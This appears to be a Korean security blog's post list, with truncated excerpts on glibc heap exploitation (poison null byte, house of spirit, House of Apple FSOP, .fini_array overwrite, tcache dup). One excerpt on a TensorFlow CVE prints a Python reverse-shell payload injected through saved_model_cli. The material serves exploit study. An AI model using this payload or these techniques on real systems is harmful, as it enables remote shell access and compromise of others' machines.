먼저 Poison NULL Byte 의 경우 Off by one 에 기원을 둔 heap 취약점이다. 간략하게 이 취약점에 대해 정리하자면, 이미 할당된 heap chunk 를 새로 할당받는 heap 의 공간에 포함시켜 새로운 값으로 덮여 쓸 수 있는 취약점이다. #include #include #include #include #include int main() { printf("Welcome to poison null byte 2.0!\\n"); printf("Tested in Ubuntu 14.04 64bit.\\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byt..
house_of_spirit #include #include int main() { printf("This file demonstrates the house of spirit attack.n"); printf("Calling malloc() once so that it sets up its memory.n"); malloc(1); printf("We will now overwrite a pointer to point to a fake 'fastbin' region.n"); unsigned long long *a; // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memor..
제목처럼 glibc 2.27 일부 라이브러리 부터 생긴 IO_str_overflow, finish 등에서 callback 포인터를 없애서 FSOP 를 못하고 있었는데, 찾아보니 매우 다양한 시각으로 FILE 구조체를 접근하여 FSOP를 시도할 수 있다는 것을 알게되었다. 그 중 House of apple 이라는 녀석이 매우 매력적이였는데, 이는 잘만 FILE 구조체를 수정하면 한번의 수정만으로 (하나의 읽기 쓰기가 가능한 메모리 공간, 주소만 있으면 됨) 익스가 되기때문이다. --> 이에 대한 내용으로 제 26회 해킹캠프에서 포너에게 조금이나마 도움이 되기위해 발표했었기 때문에 이 기법에 대한 자세한 설명은 생략하도록 하겠다. (궁금한게 있는 사람은 댓글 달아주시면 보충 설명해주는 글을 포스팅 하겠습니다..
배경지식 ELF는 GOT를 활용하여 반복되는 라이브러리 함수의 호출 비용을 줄인다. 이때 GOT에 값을 쓰게 되는데, 그 중 처음 호출 될떄 함수의 주소를 구하고, 이를 got에 적는 Lazy Binding 방식이 있다. 이때 Lazy Binding의 특성 상 GOT를 실시간 업데이트(실행 중) 해야하므로, GOT에 쓰기 권한이 부여되는데, 이는 GOT를 변조 시킬 수 있는 취약점으로 연계될 수 있다. .init_array && .fini_array ELF의 데이터 세그먼트에는 프로세스의 초기화 및 종료와 관련된 .init_array, .fini_array가 존재하고 이 영역들은 프로세스의 시작과 종료에 실행할 함수의 주소를 저장하고 있다. 이때 이 주소값을 임의의 값을로 덮어 쓴다면 어떻게 될까? 답은..
Tensorflow CVE 를 보다가 신기한게 있었다. 바로 Tensorflow 내부에 존재하는 saved_model_cli 파일을 실행할 때 옵션을 다음과 같이 주면 리버스 쉘이 따진다는 것이다. ㅇㅅㅇ! saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("0.0.0.0",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")' --dir ./ --tag_set serv..
Tcache dup / glibc 2.29 다음과 같은 명령어로 glibc 소스 코드를 다운 받을 수 있다. $wget tcache 에 관련된 코드를 보자. 먼저 tcache_entry 코드를 보면 다음과 같다. // GLIBC 2.26 typedef struct tcache_entry { struct tcache_entry *next; } tcache_entry; // GLIBC 2.29 typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; //diffrence } tcache_entry; key 구조체 ..
Tcache dup / glibc 2.26 tcache는 Double Free와 같은 버그의 검증이 존재하지 않아 fastbin 등과 같은 다른 bin에서의 공격의 난이도가 훨씬 낮다. tcache dup은 Double Free 버그를 이용하여 tcache_entry 를 조작해 이미 할당된 메모리에 다시 힙 청크를 할당하는 공격기법이다. #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache && tc_idx counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } fastbin dup 에서는 이전에 해제된 청크인 old 와..